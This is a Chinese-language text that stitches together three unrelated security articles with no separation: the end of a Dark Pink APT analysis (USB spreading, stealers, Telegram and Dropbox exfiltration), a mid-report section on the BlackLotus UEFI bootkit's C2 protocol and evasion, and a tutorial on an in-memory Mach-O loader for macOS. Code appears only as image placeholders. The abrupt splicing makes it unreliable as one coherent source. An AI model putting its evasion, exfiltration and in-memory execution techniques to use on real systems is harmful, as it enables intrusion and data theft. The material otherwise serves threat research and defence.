作為另一層保護,如果用戶或安全軟件能夠取消設置保護標誌並關閉句柄,內核驅動程序將持續監視它們,如果句柄不再存在,則通過調用KeBugCheck(INVALID_kernel_HANDLE)函數來生成一個BSOD。

解除主Windows Defender進程內核驅動程序還試圖解除主Windows Defender進程MsMpEng.exe的防護。為此,它通過為每個進程設置SE_PRIVILEGE_REMOVED屬性來刪除所有進程的令牌權限。因此,Defender進程應該無法正確地完成其工作(例如掃描文件)。但是,由於該功能執行得很差,因此可以通過重新啟動MsMpEng.exe進程使其失效。

偵察和橫向移動只要受害者組織網絡中的一台設備被攻擊,Dark Pink的下一個目標是收集盡可能多的關於受害者網絡基礎設施的信息。研究人員發現攻擊者對以下內容感興趣:

來自標準實用程序的信息,例如標準實用程序systeminfo的輸出;

來自網絡瀏覽器的信息;

安裝軟件,包括防病毒解決方案;

有關連接的USB設備和網絡共享的信息;

攻擊者還收集了可用於寫入的網絡和USB驅動器列表,然後將這些驅動器用於橫向移動。接下來,攻擊會看到用啟動TelePowerDropper的命令創建一個LNK文件(Windows快捷方式),而不是原始文件。在這個階段,受害者是看不見原始文件的。

攻擊者如何在USB設備上進行橫向移動?首先攻擊者註冊一個新的WMI事件處理程序。從現在開始,每次將USB設備插入受感染的設備時,都會執行一個特定的操作,看到TeleBotDropper下載並存儲在USB設備。讓我們更深入地分析一下這個過程。

1.受害者將USB設備插入受攻擊設備;

2.WMI事件被觸發,並導致從攻擊者的Github帳戶自動下載. zip壓縮文件。這個壓縮文件中有三個文件:Dism.exe,Dism.sys和Dismcore.dll。第一個文件是具有有效數字簽名的合法文件。 DLL文件的功能是從文件Dism.sys中解壓縮原始可執行文件。

3.壓縮文件被解壓縮到%tmp%文件夾,然後將這些文件複製到USB設備,並在其中創建一個名為“dism”的新文件夾。文件夾屬性更改為隱藏和系統;

4.創建一個名為system.bat的文件,其中包含啟動Dism.exe的命令;

5.最後,創建的LNK文件數量與USB驅動器上的文件夾數量相同。原始文件夾的屬性將更改為隱藏和系統。使用命令創建LNK文件,打開explorer.exe中的隱藏文件夾並啟動system.bat。

之後,用戶將看到與USB設備上找到的文件夾同名的LNK文件。一旦用戶打開此惡意LNK文件,TeleBotDropper將通過DLL側加載技術啟動(TeleBotDroper的功能已在上一節中顯示)。結果,讀取註冊表項、解密和啟動TelePowerBot的命令被傳輸到新設備。必須記住,如果USB設備上只有一個文件夾,則此解決方案有效。這就是為什麼我們觀察到不同的實現,例如,在USB設備上創建LNK文件而不是.pdf文件(不僅僅是文件夾)。附錄B中提供了更詳細的工作原理示例,在原始文件的位置創建LNK文件的機制也用於網絡共享。

數據洩露與許多其他類似攻擊一樣,攻擊者通過ZIP壓縮文件洩露數據。在Dark Pink攻擊期間,所有要發送給攻擊者的數據(來自公共網絡共享的文件列表、web瀏覽器數據、文檔等)都堆疊在$env:tmp\backuplog文件夾中。但是,收集和發送過程彼此獨立運行。當受攻擊的設備發出下載$env:tmp\backuplog文件夾的命令時,文件列表將被複製到$env:tmp\backuplog文件夾中,添加到壓縮文件並發送到攻擊者的Telegram木馬。在此步驟完成後,$env:tmp\ backuplo1目錄將被刪除。

攻擊者還可以利用他們自定義的竊取程序Cucky和Ctealer從受攻擊的設備中提取數據。這兩個竊取程序的功能是一樣的。它們可以用來從網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。竊取程序本身不需要任何互聯網連接,因為他們將執行結果(被盜數據)保存到文件中。通過惡意軟件發出的命令,可以從攻擊者的Github帳戶自動下載這兩種竊取程序。用於啟動Cucky的腳本示例見附錄C。

總的來說,Group-IB研究人員發現,Dark Pink通過三個不同的途徑洩露文件。第一種途徑是攻擊者使用Telegram接收文件。當設備被攻擊時,惡意軟件會收集特定文件夾中的信息,並通過一個特殊命令通過Telegram發送。通過擴展,發送給攻擊者的文件是:doc,docx, xls,xlsx,ppt,pptx,pdf,執行此過程的腳本示例可以在附錄D中找到。

除了Telegram, Group-IB還發現了攻擊者通過Dropbox竊取文件的證據。這種方法與通過Telegram進行竊取的方法略有不同,因為它涉及一系列PowerShell腳本,通過使用硬編碼令牌執行HTTP請求,將文件從特定文件夾傳輸到Dropbox帳戶。

Group-IB還發現了一次特別的攻擊,儘管該設備是由攻擊者控制的Telegram方式通過Telegram木馬發出的命令控制的,但一些有趣的文件是通過電子郵件發送的。該命令的示例如下所示。

12.png

數據洩露過程中使用的郵件列表如下所示:

13.png

在這一階段,Group-IB研究人員認為,選擇的洩露方法取決於受害者網絡基礎設施中設置的潛在限制。

逃避技術在他們的攻擊過程中,攻擊者使用了一種已知的技術來繞過用戶帳戶控制(UAC)來更改Windows Defender中的設置。他們通過提升COM接口來做到這一點。所使用的方法並不是唯一的,在不同的編程語言中發現了不同的實現。

14.png

允許繞過UAC的反編譯可執行文件截圖

設置由一個特殊的PowerShell腳本更改,該腳本作為命令接收,並在.NET應用程序中實現。該命令以可執行文件(在base64視圖中)的形式出現,在攻擊時自動從Github下載。可執行文件不會獲得持久性,也不會保存在受攻擊的系統上。可執行文件不會持久存在,也不會保存到受攻擊的系統中。下載和啟動的示例如下所示。

15.png

修改Windows Defender設置的PowerShell命令作為參數傳遞,如下所示:

16.png

PowerShell命令將使用.NET應用程序作為權限升級工具來執行

工具CuckyCucky是在.NET上開發的一個簡單的自定義竊取程序。在調查過程中發現了各種各樣的樣本。分析最多的版本是由Confuser打包的。它不與網絡通信,收集的信息保存在文件夾%TEMP%\backuplog中。 Cucky能夠從目標網絡瀏覽器中提取密碼、歷史記錄、登錄名和cookie等數據。雖然我們沒有任何與使用被盜數據相關的信息,但我們認為它可以用於訪問電子郵件web客戶端,根據web歷史進行額外的基礎設施偵察,編制組織員工列表,傳播惡意附件,並評估目標設備是真實的還是虛擬的。

Cucky具有從以下瀏覽器竊取數據的功能:

Chrome, MS Edge, CocCoc, Chromium, Brave, Atom, Uran, Sputnik, Slimjet, Epic Privacy, Amigo, Vivaldy, komita, Comodo, Nichrome, Maxthon, Comodo Dragon, Avast瀏覽器,Yandex瀏覽器。

17.png

反編譯的Cucky 竊取程序的截圖

找到的示例包含以下調試信息的路徑:

18.png

CtealerCtealer是Cucky的模擬版本,但是在C/c++上開發的。 TelePowerDropper或攻擊者發出的特殊命令可用於部署Ctealer。工作過程也非常類似於Cucky,因為它還將收集的文件保存到%TEMP%\backuplog文件夾。 Ctealer可以從以下web瀏覽器獲取信息:

Chrome, Chromium, MS Edge, Brave, Epic Privacy, Amigo, Vivaldi, Orbitum, Atom, komita, Dragon, Torch, Comodo, Slimjet, 360瀏覽器,Maxthon, K-Melon, Sputnik, nicchrorome, CocCoc, Uran, Chromodo, Yandex瀏覽器。

找到的示例包含以下調試信息的路徑:

19.png

TelePowerBot正如我們已經註意到的,每次受攻擊設備的用戶登錄系統時,TelePowerBot都會被啟動。當這種情況發生時,將啟動一個特殊的腳本。腳本讀取另一個regkey的值(例如HKCU\SOFTWARE\Classes\abcdfile\shell\abcd),開始解密並啟動TelePowerBot。加密基於xor,其中密鑰是0到256之間的數組號。在解密之前,原始有效負載將從base64解碼。去模糊化的命令示例如下:

20.png

解密階段不是最終階段,這是一個中間階段,也是基於PowerShell的,並且是高度模糊的。在這個階段,最終腳本已經存儲在階段中,但是它被分割成塊。由此,創建一個base64字符串,解碼後,我們將得到一個ZIP流。最後,TelePowerBot在解壓縮後啟動。

該工具可以與Telegram通道通信,以接收來自攻擊者的新任務。木馬可以與各種受攻擊的設備通信,木馬每60秒檢查一次新命令。在執行過程中,木馬使用兩個註冊表項:HKCU\Environment\Update和HKCU\Environment\guid。第一個存儲最後一個消息id,該消息id由Telegram木馬處理(來自Telegram的參數update_id)。第二個密鑰存儲受攻擊設備的唯一標識。它是在木馬第一次啟動時由命令[guid]:NewGuid()生成的。註冊後,攻擊者就會獲得有關受攻擊設備的各種信息,如ip、guid、設備名稱。 IP地址也通過獲取請求來確定https://ifconfig.me/ip,這些進程也是基於PowerShell命令的,我們將在後面的報告中更深入地討論這些命令。木馬的實施如附錄A所示。

該模塊的一些變體包含用於確保橫向移動的附加功能。所有其他功能都是一樣的。在Group-IB進行分析的情況下,Telegram參數可以硬編碼在腳本中,也可以從註冊表項中讀取。

KamiKakaBotKamiKakaBot是TelePowerBot的. net版本,我們發現它們之間幾乎沒有區別。在讀取命令之前,KamiKakaBot能夠從Chrome, MS Edge和Firefox瀏覽器中竊取。它能夠更新自己,一旦它接收到命令,它可以將參數傳遞給cmd.exe進程。

21.png

詳細說明包含KamiKakaBot的反編譯可執行文件的屏幕截圖

PowerSploit/Get-MicrophoneAudio如上所述,Dark Pink背後的攻擊者幾乎只利用定制工具。然而,為了記錄來自受感染設備的麥克風音頻,他們轉向了公開可用的PowerSploit模塊-Get-MicrophoneAudio。這是通過從Github下載加載到受害者的設備上的。 Group-IB研究人員發現,當攻擊者試圖啟動該模塊時,受害者設備上的防病毒軟件會阻止這一進程。我們發現攻擊者試圖混淆原始的PowerSploit模塊,使其無法被檢測到,但這些都沒有成功。結果,攻擊者返回繪圖板並添加了一個腳本(如下所示),該腳本能夠成功地在受攻擊的設備上錄製麥克風音頻。

22.png

這個簡單的腳本啟動了一個後台任務,它會觸發一個標準實用程序PSR,以每分鐘捕獲一次聲音。錄製的音頻文件將保存在位於臨時文件夾(%TEMP%\record)的ZIP壓縮文件中。文件的命名模板如下:“yyyyMMddHHmmss”。然後,這些音頻文件被一個單獨的腳本洩露,該腳本將它們(作為ZIP壓縮文件)發送給攻擊者的Telegram木馬。

ZMsg(即時通訊工具信息洩露)攻擊者還對從受攻擊設備上的即時通訊工具中竊取數據感興趣。為此,它們能夠執行命令來識別主要的即時通訊工具,如Viber、Telegram和Zalo。在Viber的示例中,這些命令允許攻擊者竊取受攻擊設備上的%APPDATA%\Viberpc文件夾,從而允許他們訪問受害者的消息和聯繫人列表。我們仍在努力評估攻擊者能夠從受攻擊設備上的Telegram賬戶中獲取什麼信息,但Zalo的示例卻非常獨特。

如果受害者的設備上存在Zalo即時通訊工具,攻擊者可以啟動命令從Github下載一個特殊的實用程序(Group-IB稱為ZMsg)。這個實用程序是一個基於FlaUI庫的.NET應用程序,它允許組織在Zalo平台上竊取受害者的消息。 FlaUI是一個幫助Windows應用程序自動UI測試的庫,入口點通常是應用程序或桌面,以生成自動化元素。通過這種方式,可以分析子元素並與其交互。

ZMsg迭代Windows應用程序中的元素,以發現具有特定名稱的元素。例如,帶有消息的元素的名稱為“messageView”。所有收集的信息存儲在%TEMP%\KoVosRLvmU\文件夾中,文件擴展名為.dat和.bin。文件名創建為編碼的十六進製字符串,並根據以下模板生成:

%PERSON_NAME%_%DAY%_%MONTH%_%YEAR%

命令攻擊者通過指定ip、設備名或botid向受攻擊的設備發出命令,還可以同時向所有受感染的設備發出任務。在檢查過程中,我們注意到幾種不同的命令。其中一些命令的功能是重疊的,但它們都基於PowerShell命令。例如,TelePowerBot可以執行一個簡單的標準控制台工具,比如whoami,或者一個複雜的PowerShell腳本。

在攻擊期間,攻擊者執行幾個標準命令(例如net share、Get-SmbShare)來確定哪些網絡資源連接到受攻擊的設備。如果發現網絡磁盤的使用情況,他們將開始探索這個磁盤,以找到他們可能感興趣的文件,並可能對其進行竊取。在上一節中,我們注意到Dark Pink攻擊者如何進行橫向移動。在此活動中,攻擊者還可以攻擊連接到受攻擊設備的USB設備上的文件。下面的腳本詳細說明了攻擊者如何編譯網絡共享和連接到設備的可移動設備的列表。

23.png

攻擊者還可以發出命令,截取受攻擊設備的桌面截圖,並將這些截圖保存在%TEMP%目錄中。然後通過發出下面的命令來下載圖像。

24.png

總結Dark Pink的活動再次證明了魚叉式網絡釣魚活動給組織帶來的巨大危險,因為即使是高度先進的攻擊者也使用這種載體來訪問網絡。

與HTTP下載器的通信內核驅動程序能夠通過使用命名的Event和Section與HTTP下載器通信。所使用的命名對象的名稱是根據受害者的網絡適配器MAC地址(以太網)生成的。如果一個八位字節的值小於16,那麼將向其添加16。生成的對象名稱的格式可能在不同的示例中有所不同。例如,在我們分析的一個示例中,對於MAC地址00-1c-0b-cd-ef-34,生成的名稱為:

\BaseNamedObjects\101c1b:用於命名部分(僅使用MAC的前三個八位字節);

\BaseNamedObjects\Z01c1b:用於命名事件,與Section相同,但MAC地址的第一個數字被替換為Z;

如果HTTP下載器想要將一些命令傳遞給內核驅動程序,它只需要創建一個命名的節,在其中寫入一個包含相關數據的命令,並通過創建一個指定事件等待驅動程序處理該命令,直到驅動程序觸發(或發出信號)該命令。

驅動程序支持以下一目了然的命令:

安裝內核驅動程序;

卸載BlackLotus;

細心的讀者可能會注意到這裡的BlackLotus弱點,即使bootkit保護其組件不被刪除,內核驅動程序也可以通過創建上述命名對象並向其發送卸載命令來完全卸載bootkit。

HTTP下載器最後一個組件負責與CC服務器通信,並執行從其接收的任何CC命令。我們能夠發現的所有有效載荷都包含三個命令。這些命令非常簡單,正如部分名稱所示,主要是使用各種技術下載和執行額外的有效載荷。

CC通信為了與其CC通信,HTTP加載器使用HTTPS協議。通信所需的所有信息都直接嵌入到下載器二進製文件中,包括使用的CC域和HTTP資源路徑。與CC服務器通信的默認間隔設置為一分鐘,但可以根據CC的數據進行更改。與CC的每個通信會話都從向其發送信標HTTP POST消息開始。在我們分析的示例中,可以在HTTP POST標頭中指定以下HTTP資源路徑:

/network/API/hpb_gate[.]php

/API/hpb_gate[.]php

/gate[.]php

/hpb_gate[.]php

信標消息數據以checkin=字符串開頭,包含有關受攻擊機器的基本信息,包括自定義設備標識符(稱為HWID)、UEFI Secure Boot狀態、各種硬件信息以及一個看起來是BlackLotus內部版本號的值。 HWID由設備MAC地址(以太網)和系統卷序列號生成。加密前的消息格式如下圖所示。

17.png

在向CC發送消息之前,首先使用嵌入的RSA密鑰對數據進行加密,然後使用URL安全的base64編碼。在分析過程中,我們發現樣本中使用了兩個不同的RSA密鑰。這種HTTP信標請求的示例如下圖所示。

18.png

信標HTTP POST消息示例(由VirusTotal中的示例生成——具有本地IP而非真實CC地址的示例)

作為對信標消息的響應,從CC接收的數據應以兩字節魔法值HP開頭;否則,不進一步處理響應。如果魔法值正確,則在CBC模式下使用256位AES對魔法值之後的數據進行解密,並使用上述HWID字符串作為密鑰。

解密後,該消息類似於信標,一個JSON格式的字符串,並指定命令標識符(稱為Type)和各種附加參數,例如:

CC通信間隔;

執行方法;

有效負載文件名;

基於文件擴展名的負載類型(支持.sys、exe或.dll);

應該用於請求下載有效負載數據的身份驗證令牌;

用於解密有效負載數據的AES密鑰;

下表列出了所有支持的命令及其說明。

表2:CC命令

19.png

在這些命令中,CC可以指定是在執行負載之前先將其放到磁盤上,還是直接在內存中執行。在將文件放到磁盤的情況下,操作系統卷上的ProgramData文件夾將用作目標文件夾,文件名和擴展名由CC服務器指定。在直接在內存中執行文件的情況下,svchost.exe用作注入目標。當CC發送需要內核驅動程序協作的命令時,或者操作員希望以內核模式執行代碼時,將使用與HTTP下載器通信部分中描述的機制。

反分析技巧為了更難檢測和分析這一惡意軟件,其開發者試圖將標准文件工件(如文本字符串、導入或其他未加密的嵌入數據)的可見性限制在最低限度。以下是所用技術的摘要。

字符串和數據加密:示例中使用的所有字符串都使用簡單的密碼進行加密;

所有嵌入的文件都在CBC模式下使用256位AES加密;

各文件的加密密鑰可能因樣本而異;

除AES加密之外,一些文件還使用LZMS進行壓縮。

Runtime-onlyAPI解析:在所有示例中(如果適用),Windows API總是在運行時進行排他解析,並且使用函數哈希而不是函數名來查找內存中所需的API函數地址;

在某些情況下,直接syscall指令調用用於調用所需的系統函數;

網絡通信:使用HTTPS通信;

HTTP下載器發送到CC的所有消息都使用嵌入的RSA公鑰進行加密;

從CC發送到HTTP下載器的所有消息都使用來自受害者設備環境的密鑰或CC提供的AES密鑰進行加密;

反調試和反VM技巧:如果使用該方法,通常放在入口點的開頭,僅使用臨時沙盒或調試器檢測技巧。

緩解措施和補救措施首先,必須保持所使用的系統及其安全產品是最新的;

然後,要防止使用已知的易受攻擊UEFI二進製文件繞過UEFI Secure Boot,需要採取的關鍵步驟是在UEFI取消數據庫(dbx)中取消這些二進製文件,在Windows系統上,應使用Windows Update傳播dbx更新。

問題是,廣泛使用的Windows UEFI二進製文件的取消可能會導致數千個過時的系統、恢復映像或備份無法啟動,因此,取消通常需要很長時間。

請注意,BlackLotus使用的Windows應用程序的取消將阻止啟動工具包的安裝,但由於安裝程序將用已取消的啟動加載器替換受害者的啟動加載器,這可能會使系統無法啟動。要在這種情況下進行恢復,重新安裝操作系統或僅進行ESP恢復即可解決問題。

如果在設置BlackLotus持久性之後發生取消,則bootkit將保持正常運行,因為它使用具有自定義MOK密鑰的合法填充程序進行持久性。在這種情況下,最安全的緩解方案是重新安裝Windows,並使用mokutil實用程序刪除攻擊者註冊的MOK密鑰(由於在啟動過程中需要用戶與MOK管理器進行必要的交互,因此執行此操作需要實體存在)。

總結在過去幾年中,已經發現了許多影響UEFI系統安全的關鍵漏洞。不幸的是,由於整個UEFI生態系統的複雜性和相關的供應鏈問題,即使在漏洞修復後很長一段時間,或者至少在用戶被告知它們已修復後,這些漏洞中的許多漏洞仍會使許多系統處於易受攻擊狀態。下面是一些去年允許UEFI Secure Boot繞過的修復或取消失敗的示例:

首先,當然是CVE-2022-21894,這是一個被BlackLotus利用的漏洞。在修復該漏洞一年後,易受攻擊的UEFI二進製文件仍然沒有被取消,這使得BlackLotus等攻擊可以在啟用了UEFI Secure Boot的系統上秘密運行。

早在2022年,研究人員就披露了幾個允許禁用UEFI Secure Boot的UEFI漏洞。許多受影響的設備不再受到OEM的支持,但在聯想消費級筆記本電腦中發現高影響的UEFI漏洞。

在2022年晚些時候,研究人員發現了其他一些UEFI漏洞,這些漏洞也允許攻擊者很容易地禁用UEFI Secure Boot。正如Binarly的研究人員指出的那樣,在警告發布幾個月後,警告中列出的幾個設備都沒有被修復,或者沒有正確地被修復,這使得這些設備容易受到攻擊。與前面的情況類似,一些設備將永遠處於易受攻擊狀態,因為它們已經無法更新。在不遠的將來,有攻擊者會濫用這些漏洞,創建一個能夠在啟用UEFI Secure Boot的系統上運行的UEFIbootkit。

在上一篇文章中,我們介紹瞭如何修復dyld以恢復內存執行。這種方法的優點之一是,我們將加載Mach-O二進製文件的許多複雜工作委託給macOS。但如果我們在不使用dyld的情況下,創建我們自己的加載器呢?所有這些字節映射是如何工作的?

接下來,我們將介紹如何在不使用dyld的情況下在MacOS Ventura中為Mach-O包構建內存加載器,以及Mach-O文件的組成,dyld如何處理加載命令以將區域映射到內存中。

為了配合蘋果向ARM架構的遷移,這篇文章將重點介紹MacOS Ventura的AARCH64版本和針對MacOS 12.0及更高版本的XCode。

什麼是Mach-O文件?首先介紹一下Mach-O文件的架構,建議先閱讀一下Aidan Steele的Mach-O文件格式參考。

當我們在處理ARM版本的MacOS時,會假設正在查看的Mach-O沒有被封裝在Universal 2格式中,因此在文件開頭我們首先會遇到的是Mach_header_64:

1.png

要構造加載器,我們需要檢查以下幾個字段:

magic-此字段應包含MH_magic_64的值;

Cputype-對於M1,應為CPU_TYPE_ARM64。

filetype -我們將檢查這篇文章的MH_BUNDLE類型,但加載不同類型也應該很容易。

如果Mach-O是正常的,我們可以立即處理mach_header_64結構體後面的load命令。

加載命令顧名思義,load命令是一種數據結構,用於指示dyld如何加載Mach-O區域。

每個load命令由load_command結構表示:

2.png

cmd字段最終決定load_command實際表示的內容,以LC_UUID的一個非常簡單的load_command為例,該命令用於將UUID與二進制數據關聯起來。其結構如下:

3.png

如上所述,這與load_command結構重疊,這就是為什麼我們有匹配字段的原因。以下就是我們將看到的各種負載命令所支持的情況。

Mach-O段加載Mach-O時,我們要處理的第一個load_command是LC_SEGMENT_64。

segment命令告訴dyld如何將Mach-O的一個區域映射到虛擬內存中,它應該有多大,應該有什麼樣的保護,以及文件的內容在哪裡。讓我們來看看它的結構:

4.png

出於本文的目的,我們將關注:

segname -段的名稱,例如__TEXT;

vmaddr -應該加載段的虛擬地址。例如,如果它被設置為0x4000,那麼我們將在分配的內存基數+0x4000處加載段;

vmsize -要分配的虛擬內存的大小;

fileoff -從文件開始到應複製到虛擬內存的Mach-O內容的偏移量;

filesize -要從文件中復制的字節數;

maxprot-應分配給虛擬內存區域的最大內存保護值;

initprot -應分配給虛擬內存區域的初始內存保護;

nsects -遵循此段結構的節數。

要注意,雖然dyld依賴mmap將Mach-O的片段拉入內存,但如果我們的初始進程是作為一個加固進程執行的(並且沒有com.apple.security.cs. c . data . data之類的文件)。使用mmap是不可能的,除非我們提供的bundle是使用與代理應用程序相同的開發人員證書進行簽名的。此外,我們正在嘗試構建一個內存加載器,因此在這種情況下從磁盤拉二進製文件沒有多大意義。

為了解決這個問題,在此POC中,我們將預先分配我們的blob內存並複制它,例如:

5.png

與之前的dyld文章一樣,我們需要在主機二進製文件中使用正確的授權來允許無符號可執行內存。

節從上面的字段中可以看到,段加載命令中存在另一個引用,這就是一個節(section)。

由於節位於段中,雖然它將繼承其內存保護,但它有自己的大小和要加載的文件內容。每個段的數據結構附加到segment命令中,其結構為:

6.png

同樣,我們將只關注其中幾個字段,這些字段對於我們構建加載器的直接目的很有幫助:

sectname -節的名稱,例如__text;

segname -與此節關聯的段的名稱;

addr -用於此節的虛擬地址偏移量;

size -文件中(以及虛擬內存中的)節的大小;

offset - Mach-O文件中部分內容的偏移量;

flags - flags可以分配給一個節,這個節幫助確定reserved1,reserved2和reserved3中的值。

由於我們已經分配了每個段,所以加載器將遍歷每個段描述符,確保將正確的文件內容複製到虛擬內存中。需要注意的是,在復制時可能需要更新內存保護。 MacOS for ARM不允許讀/寫/執行內存頁(除非com.apple.security.cs. c。allow-jit授權與MAP_JIT一起使用),因此我們需要在復制時適應這一點:

7.png

符號隨著我們的加載器開始成型,接下來需要看看如何處理符號(Symbol)。符號在Mach-O二進製文件的加載過程中扮演著重要的角色,它將名稱和序數關聯到內存區域,以供我們稍後參考。

符號是通過LC_SYMTAB的加載命令來處理的,如下所示:

8.png

同樣,我們將關注構建加載器所需的字段:

symoff -從文件開始到包含每個符號信息的nlist結構數組的偏移量;

nsyms -符號(或nlist結構)的數量;

stroff -符號查找所使用的字符串的文件偏移量。

顯然,接下來我們需要知道nlist是什麼:

9.png

此結構為我們提供了有關命名符號的信息:

n_strx -從符號字符串字段到該符號字符串的偏移量;

n_value -包含符號的值,例如地址。

因為我們稍後需要引用符號,所以我們的加載器需要存儲這些信息以備以後使用:

10.png

dylib’s接下來是LC_LOAD_DYLIB加載命令,該命令引用在運行時加載的額外dylib’s。

11.png

我們需要的項在dylib結構成員中找到,特別是dylib.name.offset,它是從這個加載命令的開頭到包含要加載的dylib的字符串的偏移量。

稍後,當涉及到重定位時,我們將需要這些信息,其中dylib’s的導入順序起著重要作用,因此我們將構建一個dylib’s數組,供以後使用:

12.png

遷移現在就要介紹Mach-O更複雜的部分——遷移。

Mach-O是用XCode構建的,目標是macOS 12.0和更高版本,使用LC_DYLD_CHAINED_FIXUPS的加載命令。關於這一切是如何工作的,沒有太多的文檔,但Noah Martin對iOS 15查找鏈的研究值得參考,我們還可以在這裡找到蘋果XNUrepo中使用的結構體的詳細信息。

Dyld’s的源代碼告訴我們,該加載命令以結構linkedit_data_command開始:

13.png

使用dataoff便能找到標頭:

14.png

我們需要做的第一件事是收集所有導入並構造一個稍後將引用的有序數組。為此,我們將使用以下字段:

symbols_offset -從該結構開始到導入所使用的符號字符串的偏移量;

imports_count -導入項的數量;

imports_format -任何導入符號的格式。

imports_offset -從該結構開始到導入表的偏移量。

每個導入項的數據結構都依賴於imports_format字段,但通常我看到的是DYLD_CHAINED_IMPORT格式:

15.png

可以看出這是一個32位數組項,有lib_ordinal字段,它是我們之前從LC_LOAD_DYLIB加載命令構建的有序dylib數組的索引。索引從1開始,而不是0,這意味著第一個索引是1,然後是2……

16.png

如果索引值為0或253,則該項引用this-image(當前正在執行的二進製文件)。這就是我們之前構造符號字典的原因,因為現在我們可以簡單地將自己二進製文件中引用的符號名稱解析為其地址:

17.png

name_offset是從dyld_chained_fixups_header收集的symbols_offset字符串的偏移量。

使用這些信息,我們需要構建一個有序的導入數組,因為我們需要馬上引用這個有序數組。

構建了一個導入列表後,將開始鍊式啟動,這可以從dyld_chained_fixups_header結構的starts_offset標頭字段中找到。

鍊式啟動的結構是:

18.png

為了導航,我們需要遍歷seg_info_offset中的每個項,這為我們提供了指向dyld_chained_starts_in_segment的指針列表:

19.png

首先要注意這個結構,有時segment_offset是0,但不知道為什麼,看起來dyld也識別了這個,只是忽略了它們。

20.png

我們需要找到每個reloc鏈的開始位置的字段如下:

pointer_format-鏈使用的DYLD_CHAINED_PTR_結構的類型;

segment_offset-段起始地址在內存中的絕對偏移量;

page_count-page_start成員數組中的頁數;

page_start-從頁面到鏈開始的偏移量。

當我們在一個段中有一個有效的偏移量時,我們可以開始遵循reloc鏈。遍歷每個項,我們需要檢查第一位,以確定該項是一個rebase(設置為0)還是一個bind(設置為1):

在rebase的情況下,將該項轉換為dyld_chained_ptr_64_rebase,並使用目標偏移量更新該項到已分配內存的基數。

21.png

在綁定的情況下,我們使用dyld_chained_ptr_64_bind,序數字段是我們前面構建的導入數組的偏移量。

22.png

然後,我們需要移動到下一個bind或rebase,這是通過執行next*4(4字節是步長)來完成的。我們重複此操作,直到下一個字段為0,表示鏈已結束。

構建加載器現在一切就緒,開始構建加載器。步驟如下:

1.分配內存區域;

2.根據LC_SEGMENT_64命令將每個段加載到虛擬內存中;

3.將每個節加載到每個段中;

4.從LC_LOAD_DYLIB命令構建dylib的有序集合;

5.從LC_SYMTAB命令構建一個符號集合。

6.遍歷LC_DYLD_CHAINED_FIXUPS鏈並對每個reloc進行bind或rebase。

一旦完成,我們就可以使用LC_SYMTAB中的數據來引用我們想要輸入的符號並傳遞執行。如果一切順利,我們將看到Mach-O被加載到內存中並開始執行:

23.png

這個POC的所有代碼都已添加到Dyld-DeNeuralyzer項目。

雖然你可以使用其中的代碼加載C/c++包,但如果你嘗試加載Objective-C包,你會看到如下的內容:

24.png

這是因為在加載Objective-C Mach-O時dyld中發生了一些事情,具體原因我們下一部分再講。